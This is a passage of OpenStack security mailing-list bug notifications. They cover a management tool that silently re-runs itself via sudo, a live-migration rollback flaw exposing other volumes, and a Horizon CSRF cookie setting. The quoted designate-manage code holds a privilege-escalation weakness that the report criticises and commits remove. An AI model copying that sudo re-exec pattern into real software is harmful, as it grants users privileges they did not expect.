Date:   Sat Sep 17 16:42:01 2016 +0530

    Don't attempt to escalate gce-api-manage privileges
    
    Remove code which allowed gce-api-manage to attempt to escalate
    privileges so that configuration files can be read by users who
    normally wouldn't have access, but do have sudo access.
    
    Change-Id: I0a684f0239bef1669c15b6c54a658c6e6f2f430c
    Closes-Bug: 1611171


** Changed in: gce-api
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1611171

Title:
  re-runs self via sudo

Status in Cinder:
  Fix Released
Status in Designate:
  In Progress
Status in ec2-api:
  In Progress
Status in gce-api:
  Fix Released
Status in Manila:
  In Progress
Status in masakari:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Compute (nova) newton series:
  Fix Committed
Status in OpenStack Security Advisory:
  Won't Fix
Status in Rally:
  In Progress

Bug description:
  Hello, I'm looking through Designate source code to determine if is
  appropriate to include in Ubuntu Main. This isn't a full security
  audit.

  This looks like trouble:

  ./designate/cmd/manage.py

  def main():
      CONF.register_cli_opt(category_opt)

      try:
          utils.read_config('designate', sys.argv)
          logging.setup(CONF, 'designate')
      except cfg.ConfigFilesNotFoundError:
          cfgfile = CONF.config_file[-1] if CONF.config_file else None
          if cfgfile and not os.access(cfgfile, os.R_OK):
              st = os.stat(cfgfile)
              print(_("Could not read %s. Re-running with sudo") % cfgfile)
              try:
                  os.execvp('sudo', ['sudo', '-u', '#%s' % st.st_uid] + sys.argv)
              except Exception:
                  print(_('sudo failed, continuing as if nothing happened'))

          print(_('Please re-run designate-manage as root.'))
          sys.exit(2)

  
  This is an interesting decision -- if the configuration file is _not_ readable by the user in question, give the executing user complete privileges of the user that owns the unreadable file.

  I'm not a fan of hiding privilege escalation / modifications in
  programs -- if a user had recently used sudo and thus had the
  authentication token already stored for their terminal, this 'hidden'
  use of sudo may be unexpected and unwelcome, especially since it
  appears that argv from the first call leaks through to the sudo call.

  Is this intentional OpenStack style? Or unexpected for you guys too?

  (Feel free to make this public at your convenience.)

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1611171/+subscriptions



From 1611171 at bugs.launchpad.net  Tue Oct 25 15:07:05 2016
From: 1611171 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 25 Oct 2016 15:07:05 -0000
Subject: [Openstack-security] [Bug 1611171] Re: re-runs self via sudo
References: <20160809015520.22289.87995.malonedeb@soybean.canonical.com>
Message-ID: <20161025150705.21408.81509.malone@gac.canonical.com>

Reviewed:  https://review.openstack.org/371927
Committed: https://git.openstack.org/cgit/openstack/rally/commit/?id=2259b17384c0eb7da9325123e6f4041c5b317c79
Submitter: Jenkins
Branch:    master

commit 2259b17384c0eb7da9325123e6f4041c5b317c79
Author: Iswarya_Vakati <v.iswarya at nectechnologies.in>
Date:   Sat Sep 17 18:19:22 2016 +0530

    Don't attempt to escalate rally-manage privileges
    
    Remove code which allowed rally-manage to attempt to escalate
    privileges so that configuration files can be read by users who
    normally wouldn't have access, but do have sudo access.
    
    Change-Id: Iff352e463189738d3f371c819edfeb0664fd7684
    Closes-Bug:#1611171


** Changed in: rally
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1611171

Title:
  re-runs self via sudo

Status in Cinder:
  Fix Released
Status in Designate:
  In Progress
Status in ec2-api:
  In Progress
Status in gce-api:
  Fix Released
Status in Manila:
  In Progress
Status in masakari:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Compute (nova) newton series:
  Fix Committed
Status in OpenStack Security Advisory:
  Won't Fix
Status in Rally:
  Fix Released

Bug description:
  Hello, I'm looking through Designate source code to determine if is
  appropriate to include in Ubuntu Main. This isn't a full security
  audit.

  This looks like trouble:

  ./designate/cmd/manage.py

  def main():
      CONF.register_cli_opt(category_opt)

      try:
          utils.read_config('designate', sys.argv)
          logging.setup(CONF, 'designate')
      except cfg.ConfigFilesNotFoundError:
          cfgfile = CONF.config_file[-1] if CONF.config_file else None
          if cfgfile and not os.access(cfgfile, os.R_OK):
              st = os.stat(cfgfile)
              print(_("Could not read %s. Re-running with sudo") % cfgfile)
              try:
                  os.execvp('sudo', ['sudo', '-u', '#%s' % st.st_uid] + sys.argv)
              except Exception:
                  print(_('sudo failed, continuing as if nothing happened'))

          print(_('Please re-run designate-manage as root.'))
          sys.exit(2)

  
  This is an interesting decision -- if the configuration file is _not_ readable by the user in question, give the executing user complete privileges of the user that owns the unreadable file.

  I'm not a fan of hiding privilege escalation / modifications in
  programs -- if a user had recently used sudo and thus had the
  authentication token already stored for their terminal, this 'hidden'
  use of sudo may be unexpected and unwelcome, especially since it
  appears that argv from the first call leaks through to the sudo call.

  Is this intentional OpenStack style? Or unexpected for you guys too?

  (Feel free to make this public at your convenience.)

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1611171/+subscriptions



From 1419577 at bugs.launchpad.net  Wed Oct 26 08:24:46 2016
From: 1419577 at bugs.launchpad.net (OpenStack Infra)
Date: Wed, 26 Oct 2016 08:24:46 -0000
Subject: [Openstack-security] [Bug 1419577] Re: when live-migrate failed,
 lun-id couldn't be rollback in havana
References: <20150209012956.20741.53343.malonedeb@chaenomeles.canonical.com>
Message-ID: <20161026082449.28243.4518.launchpad@wampee.canonical.com>

** Changed in: nova
     Assignee: Lee Yarwood (lyarwood) => Dan Smith (danms)

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1419577

Title:
  when live-migrate failed, lun-id couldn't be rollback in havana

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Hi, guys

  When live-migrate failed with error, lun-id of connection_info column in Nova's block_deivce_mapping table couldn't be rollback.
  and failed VM can have others volume.

  my test environment is following :

  Openstack Version : Havana ( 2013.2.3)
  Compute Node OS : 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
  Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2

  test step is :

  1) create 2 Compute node (host#1 and host#2)
  2) create 1 VM on host#1 (vm01)
  3) create 1 cinder volume (vol01)
  4) attach 1 volume to vm01 (/dev/vdb)
  5) live-migrate vm01 from host#1 to host#2
  6) live-migrate success
       - please check the mapper by using multipath command in host#1 (# multipath -ll), then you can find mapper is not deleted.
         and the status of devices is "failed faulty"
       - please check the lun-id of vol01
  7) Again, live-migrate vm01 from host#2 to host#1 (vm01 was migrated to host#2 at step 4)
  8) live-migrate fail
       - please check the mapper in host#1
       - please check the lun-id of vol01, then you can find the lun hav "two" igroups
       - please check the connection_info column in Nova's block_deivce_mapping table, then you can find lun-id couldn't be rollback

  This Bug is critical security issue because the failed VM can have
  others volume.

  and every backend storage of cinder-volume can have same problem
  because this is the bug of live-migration's rollback process.

  I suggest below methods to solve issue :

  1) when live-migrate is complete, nova should delete mapper devices at origin host
  2) when live-migrate is failed, nova should rollback lun-id in connection_info column
  3) when live-migrate is failed, cinder should delete the mapping between lun and host (Netapp : igroup, EMC : storage_group ...)
  4) when volume-attach is requested , cinder volume driver of vendors should make lun-id randomly for reduce of probability of mis-mapping

  please check this bug.

  Thank you.

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1419577/+subscriptions



From 1419577 at bugs.launchpad.net  Wed Oct 26 14:43:01 2016
From: 1419577 at bugs.launchpad.net (OpenStack Infra)
Date: Wed, 26 Oct 2016 14:43:01 -0000
Subject: [Openstack-security] [Bug 1419577] Re: when live-migrate failed,
 lun-id couldn't be rollback in havana
References: <20150209012956.20741.53343.malonedeb@chaenomeles.canonical.com>
Message-ID: <20161026144304.30100.9306.launchpad@wampee.canonical.com>

** Changed in: nova
     Assignee: Dan Smith (danms) => Lee Yarwood (lyarwood)

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1419577

Title:
  when live-migrate failed, lun-id couldn't be rollback in havana

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Hi, guys

  When live-migrate failed with error, lun-id of connection_info column in Nova's block_deivce_mapping table couldn't be rollback.
  and failed VM can have others volume.

  my test environment is following :

  Openstack Version : Havana ( 2013.2.3)
  Compute Node OS : 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
  Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2

  test step is :

  1) create 2 Compute node (host#1 and host#2)
  2) create 1 VM on host#1 (vm01)
  3) create 1 cinder volume (vol01)
  4) attach 1 volume to vm01 (/dev/vdb)
  5) live-migrate vm01 from host#1 to host#2
  6) live-migrate success
       - please check the mapper by using multipath command in host#1 (# multipath -ll), then you can find mapper is not deleted.
         and the status of devices is "failed faulty"
       - please check the lun-id of vol01
  7) Again, live-migrate vm01 from host#2 to host#1 (vm01 was migrated to host#2 at step 4)
  8) live-migrate fail
       - please check the mapper in host#1
       - please check the lun-id of vol01, then you can find the lun hav "two" igroups
       - please check the connection_info column in Nova's block_deivce_mapping table, then you can find lun-id couldn't be rollback

  This Bug is critical security issue because the failed VM can have
  others volume.

  and every backend storage of cinder-volume can have same problem
  because this is the bug of live-migration's rollback process.

  I suggest below methods to solve issue :

  1) when live-migrate is complete, nova should delete mapper devices at origin host
  2) when live-migrate is failed, nova should rollback lun-id in connection_info column
  3) when live-migrate is failed, cinder should delete the mapping between lun and host (Netapp : igroup, EMC : storage_group ...)
  4) when volume-attach is requested , cinder volume driver of vendors should make lun-id randomly for reduce of probability of mis-mapping

  please check this bug.

  Thank you.

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1419577/+subscriptions



From 1597557 at bugs.launchpad.net  Fri Oct 28 18:39:46 2016
From: 1597557 at bugs.launchpad.net (Turbo Fredriksson)
Date: Fri, 28 Oct 2016 18:39:46 -0000
Subject: [Openstack-security] [Bug 1597557] Re: getting CSRF token missing
 or incorrect. /api/nova/servers/ when CSRF_COOKIE_HTTPONLY=True
References: <20160630003449.23279.98663.malonedeb@gac.canonical.com>
Message-ID: <20161028183946.20363.81041.malone@soybean.canonical.com>

I have the same problem on Newton (Horizon v10.0.0). But for it does not
help to set CSRF_COOKIE_SECURE or SESSION_COOKIE_SECURE to False.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1597557

Title:
  getting CSRF token missing or incorrect. /api/nova/servers/ when
  CSRF_COOKIE_HTTPONLY=True

Status in OpenStack Dashboard (Horizon):
  Confirmed

Bug description:
  Using stable/mitkaka if I set CSRF_COOKIE_HTTPONLY=True in
  local_settings.py, when i try to launch an instance i get

  Forbidden (CSRF token missing or incorrect.): /api/nova/servers/

  If i set it to false (or don't set it) then it works fine.

  This is what does not work

  # If Horizon is being served through SSL, then uncomment the following two
  # settings to better secure the cookies from security exploits
  CSRF_COOKIE_SECURE = True
  SESSION_COOKIE_SECURE = True
  # prevent certain client-side attacks, such as cross-site scripting
  CSRF_COOKIE_HTTPONLY = True
  SESSION_COOKIE_HTTPONLY = True

  
  this is what does work

  # If Horizon is being served through SSL, then uncomment the following two
  # settings to better secure the cookies from security exploits
  CSRF_COOKIE_SECURE = True
  SESSION_COOKIE_SECURE = True
  # prevent certain client-side attacks, such as cross-site scripting
  CSRF_COOKIE_HTTPONLY = False
  SESSION_COOKIE_HTTPONLY = True

To manage notifications about this bug go to:
https://bugs.launchpad.net/horizon/+bug/1597557/+subscriptions



From 1419577 at bugs.launchpad.net  Sat Oct 29 11:35:59 2016
From: 1419577 at bugs.launchpad.net (OpenStack Infra)
Date: Sat, 29 Oct 2016 11:35:59 -0000
Subject: [Openstack-security] [Bug 1419577] Fix proposed to nova (master)
References: <20150209012956.20741.53343.malonedeb@chaenomeles.canonical.com>
Message-ID: <20161029113559.29634.27607.malone@wampee.canonical.com>

Fix proposed to branch: master
Review: https://review.openstack.org/391598

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1419577

Title:
  when live-migrate failed, lun-id couldn't be rollback in havana

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Hi, guys

  When live-migrate failed with error, lun-id of connection_info column in Nova's block_deivce_mapping table couldn't be rollback.
  and failed VM can have others volume.

  my test environment is following :

  Openstack Version : Havana ( 2013.2.3)
  Compute Node OS : 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
  Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2

  test step is :

  1) create 2 Compute node (host#1 and host#2)
  2) create 1 VM on host#1 (vm01)
  3) create 1 cinder volume (vol01)
  4) attach 1 volume to vm01 (/dev/vdb)
  5) live-migrate vm01 from host#1 to host#2
  6) live-migrate success
       - please check the mapper by using multipath command in host#1 (# multipath -ll), then you can find mapper is not deleted.
         and the status of devices is "failed faulty"
       - please check the lun-id of vol01
  7) Again, live-migrate vm01 from host#2 to host#1 (vm01 was migrated to host#2 at step 4)
  8) live-migrate fail
       - please check the mapper in host#1
       - please check the lun-id of vol01, then you can find the lun hav "two" igroups
       - please check the connection_info column in Nova's block_deivce_mapping table, then you can find lun-id couldn't be rollback

  This Bug is critical security issue because the failed VM can have
  others volume.

  and every backend storage of cinder-volume can have same problem
  because this is the bug of live-migration's rollback process.

  I suggest below methods to solve issue :

  1) when live-migrate is complete, nova should delete mapper devices at origin host
  2) when live-migrate is failed, nova should rollback lun-id in connection_info column
  3) when live-migrate is failed, cinder should delete the mapping between lun and host (Netapp : igroup, EMC : storage_group ...)
  4) when volume-attach is requested , cinder volume driver of vendors should make lun-id randomly for reduce of probability of mis-mapping

  please check this bug.

  Thank you.

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1419577/+subscriptions